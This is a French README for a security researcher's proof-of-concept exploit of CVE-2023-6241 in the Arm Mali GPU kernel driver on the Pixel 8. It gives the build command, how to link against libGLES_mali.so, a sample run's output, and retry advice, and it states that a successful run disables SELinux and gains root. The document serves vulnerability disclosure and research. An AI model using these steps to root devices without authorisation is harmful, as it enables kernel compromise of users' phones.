
CVE-2023-6241 for Pixel 8
Le write-up se trouve ici. Il s'agit d'un bug dans le pilote noyau Arm Mali que j'ai signalé en novembre 2023. Ce bug peut être utilisé pour obtenir une exécution de code arbitraire dans le noyau depuis le domaine des applications non fiables, qui est ensuite utilisée pour désactiver SELinux et obtenir root.
L'exploit est testé sur le Google Pixel 8 avec le correctif de novembre 2023 (UD1A.231105.004). Il doit être compilé avec OpenCL et lié à la bibliothèque OpenCL libGLES_mali.so. La bibliothèque se trouve sur un appareil Pixel 8 dans vendor/lib64/egl/libGLES_mali.so et les fichiers d'en-tête OpenCL se trouvent dans le dépôt OpenCL-headers de KhronosGroup. L'en-tête spécifique que j'ai utilisé était la version v2023.04.17, bien que d'autres versions devraient également fonctionner. Pour référence, j'ai utilisé la commande suivante pour compiler avec clang dans ndk-26 :
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
L'exploit doit être lié à libGLES_mali.so. Cela peut être fait en définissant LD_LIBRARY_PATH sur /vendor/lib64/egl. L'exploit échoue rarement et même s'il échoue, il ne corrompt ni ne fait généralement planter le système. Ainsi, en cas d'échec, il peut être relancé. En cas de succès, il devrait désactiver SELinux et obtenir root.
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
Lors de la première exécution, l'exploit se bloque parfois après avoir affiché le dernier message overwrite addr. Si cela se produit (bloqué pendant plus de 10 secondes, bien qu'une pause de quelques secondes soit normale), il suffit de tuer l'exploit et de le relancer. Il ne devrait pas se bloquer la deuxième fois.
Pour le tester avec MTE activé, suivez ces instructions pour activer le MTE du noyau.